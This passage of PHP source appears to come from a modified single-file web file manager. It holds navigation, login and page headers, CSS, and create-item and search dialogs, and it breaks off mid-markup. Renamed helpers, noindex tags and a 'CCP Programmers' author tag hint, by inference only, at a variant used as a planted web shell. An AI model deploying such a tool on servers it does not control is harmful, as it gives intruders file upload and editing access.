$isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
$getTheme = fm_get_theme();
$getTheme .= " navbar-light";
if(FM_THEME == "dark") {
$getTheme .= " navbar-dark";
} else {
$getTheme .= " bg-white";
}
?>
<nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
<a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<?php
$path = fm_clean_path($path);
$root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
$sep = '<i class="bread-crumb"> / </i>';
if ($path != '') {
$exploded = explode('/', $path);
$count = count($exploded);
$array = array();
$parent = '';
for ($i = 0; $i < $count; $i++) {
$parent = trim($parent . '/' . $exploded[$i], '/');
$parent_enc = urlencode($parent);
$array[] = "<a href='?p={$parent_enc}'>" . fanco(fm_convert_win($exploded[$i])) . "</a>";
}
$root_url .= $sep . implode($sep, $array);
}
echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
?>
<div class="col-xs-6 col-sm-7">
<ul class="navbar-nav justify-content-end <?php echo fm_get_theme(); ?>">
<li class="nav-item mr-2">
<div class="input-group input-group-sm mr-1" style="margin-top:4px;">
<input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
<div class="input-group-append">
<span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
</div>
<div class="input-group-append btn-group">
<span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
<div class="dropdown-menu dropdown-menu-right">
<a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
</div>
</div>
</div>
</li>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
</li>
<li class="nav-item">
<a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
</li>
<?php endif; ?>
<?php if (FM_USE_AUTH): ?>
<li class="nav-item avatar dropdown">
<a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[DN_CESSION_ID]['logged'])) { echo $_SESSION[DN_CESSION_ID]['logged']; } ?></a>
<div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
<?php endif ?>
<a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
<a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
</div>
</li>
<?php else: ?>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
</li>
<?php endif; ?>
<?php endif; ?>
</ul>
</div>
</div>
</nav>
<?php
}
function fm_show_message()
{
if (isset($_SESSION[DN_CESSION_ID]['message'])) {
$class = isset($_SESSION[DN_CESSION_ID]['status']) ? $_SESSION[DN_CESSION_ID]['status'] : 'ok';
echo '<p class="message ' . $class . '">' . $_SESSION[DN_CESSION_ID]['message'] . '</p>';
unset($_SESSION[DN_CESSION_ID]['message']);
unset($_SESSION[DN_CESSION_ID]['status']);
}
}
function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="spathe">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
<title><?php echo fanco(APP_TITLE) ?></title>
<?php print_external('pre-jsdelivr'); ?>
<?php print_external('css-bootstrap'); ?>
<style>
body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
.fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
.fm-login-page .brand img{ width:100%}
.fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
.fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
.fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
.fm-login-page .form-control{ border-width:2.3px}
.fm-login-page .form-group label{ width:100%}
.fm-login-page .btn.btn-block{ padding:12px 10px}
.fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
@media screen and (max-width:425px){
.fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
}
@media screen and (max-width:320px){
.fm-login-page .card.fat{ padding:0}
.fm-login-page .card.fat .card-body{ padding:15px}
}
.message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
.message.ok{ border-color:green;color:green}
.message.error{ border-color:red;color:red}
.message.alert{ border-color:orange;color:orange}
body.fm-login-page.theme-dark {background-color: #2f2a2a;}
.theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
</style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">
<?php
}
function fm_show_footer_login()
{
?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
</body>
</html>
<?php
}
function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="spathe">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
<title><?php echo fanco(APP_TITLE) ?></title>
<?php print_external('pre-jsdelivr'); ?>
<?php print_external('pre-cloudflare'); ?>
<?php print_external('css-bootstrap'); ?>
<?php print_external('css-font-awesome'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
<?php print_external('css-highlightjs'); ?>
<?php endif; ?>
<script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script>
<style>
html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;}
*,*::before,*::after { box-sizing: border-box;}
body { font-size:15px; color:#222;background:#F7F7F7; }
body.navbar-fixed { margin-top:55px; }
a, a:hover, a:visited, a:focus { text-decoration:none !important; }
.filename, td, th { white-space:nowrap }
.navbar-brand { font-weight:bold; }
.nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
.nav-item.avatar a > i { font-size:15px; }
.nav-item.avatar .dropdown-menu a { font-size:13px; }
#search-addon { font-size:12px;border-right-width:0; }
.brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; }
.brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; }
.bread-crumb { color:#cccccc;font-style:normal; }
#main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;}
#main-table .filename a { color:#222222; }
.table td, .table th { vertical-align:middle !important; }
.table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; }
.table-sm td, .table-sm th { padding:.4rem; }
.table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
.hidden { display:none }
pre.with-hljs { padding:0; overflow: hidden; }
pre.with-hljs code { margin:0;border:0;overflow:scroll; }
code.maxheight, pre.maxheight { max-height:512px }
.fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec }
.fa.fa-home { font-size:1.3em;vertical-align:bottom }
.path { margin-bottom:10px }
form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
.right { text-align:right }
.center, .close, .login-form, .preview-img-container { text-align:center }
.message { padding:4px 7px;border:1px solid #ddd;background-color:#fff }
.message.ok { border-color:green;color:green }
.message.error { border-color:red;color:red }
.message.alert { border-color:orange;color:orange }
.preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in }
input#preview-img-zoomCheck[type=checkbox] { display:none }
input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out }
.inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; }
.preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px }
.preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000 }
.compact-table { border:0;width:auto }
.compact-table td, .compact-table th { width:100px;border:0;text-align:center }
.compact-table tr:hover td { background-color:#fff }
.filename { max-width:420px;overflow:hidden;text-overflow:ellipsis }
.break-word { word-wrap:break-word;margin-left:30px }
.break-word.float-left a { color:#7d7d7d }
.break-word + .float-right { padding-right:30px;position:relative }
.break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px }
#editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px }
@media (max-width:481px) {
#editor { top:150px; }
}
#normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
.btn-2 { padding:4px 10px;font-size:small; }
li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
li.folder:before { content:"\f114" }
i.fa.fa-folder-o { color:#0157b3 }
i.fa.fa-picture-o { color:#26b99a }
i.fa.fa-file-archive-o { color:#da7d7d }
.btn-2 i.fa.fa-file-archive-o { color:inherit }
i.fa.fa-css3 { color:#f36fa0 }
i.fa.fa-file-code-o { color:#007bff }
i.fa.fa-code { color:#cc4b4c }
i.fa.fa-file-text-o { color:#0096e6 }
i.fa.fa-html5 { color:#d75e72 }
i.fa.fa-file-excel-o { color:#09c55d }
i.fa.fa-file-powerpoint-o { color:#f6712e }
i.go-back { font-size:1.2em;color:#007bff; }
.main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2) }
.dataTables_filter { display:none; }
table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
.footer-action li { margin-bottom:10px; }
.app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
#snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
#snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
@-webkit-keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
@keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
#main-table span.badge { border-bottom:2px solid #f8f9fa }
#main-table span.badge:nth-child(1) { border-color:#df4227 }
#main-table span.badge:nth-child(2) { border-color:#f8b600 }
#main-table span.badge:nth-child(3) { border-color:#00bd60 }
#main-table span.badge:nth-child(4) { border-color:#4581ff }
#main-table span.badge:nth-child(5) { border-color:#ac68fc }
#main-table span.badge:nth-child(6) { border-color:#45c3d2 }
@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; }
}
.btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
.lds-facebook { display:none;position:relative;width:64px;height:64px }
.lds-facebook div,.lds-facebook.show-me { display:inline-block }
.lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
.lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
.lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
.lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
@keyframes lds-facebook { 0% { top:6px;height:51px }
100%,50% { top:19px;height:26px }
}
ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
.c-preview-img { max-width: 300px; }
.border-radius-0 { border-radius: 0; }
.float-right { float: right; }
.table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; }
#main-table tr.even { background-color: #F8F9Fa; }
.filename>a>i {margin-right: 3px;}
</style>
<?php
if (FM_THEME == "dark"): ?>
<style>
:root {
--bs-bg-opacity: 1;
--bg-color: #f3daa6;
--bs-dark-rgb: 28, 36, 41 !important;
--bs-bg-opacity: 1;
}
.table-dark { --bs-table-bg: 28, 36, 41 !important; }
.btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; }
body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; }
.list-group .list-group-item { background: #343a40; }
.theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; }
a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
.theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; }
.theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;}
.theme-dark input.form-control { background-color: #101518; color: #CFD8DC; }
.theme-dark .dropzone { background: transparent; }
.theme-dark .inline-actions > a > i { background: #79755e; }
.theme-dark .text-white { color: #CFD8DC !important; }
.theme-dark .table-bordered td, .table-bordered th { border-color: #343434; }
.theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
.message { background-color: #212529; }
.compact-table tr:hover td { background-color: #3d3d3d; }
#main-table tr.even { background-color: #21292f; }
form.dropzone { border-color: #79755e; }
</style>
<?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
<!-- New Item creation -->
<div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<form class="modal-content <?php echo fm_get_theme(); ?>" method="post">
<div class="modal-header">
<h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
<label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
</div>
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
<label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
</div>
<p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
<input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
</div>
<div class="modal-footer">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
</div>
</form>
</div>
</div>
<!-- Advance Search Modal -->
<div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content <?php echo fm_get_theme(); ?>">
<div class="modal-header">
<h5 class="modal-title col-10" id="searchModalLabel">
<div class="input-group mb-3">
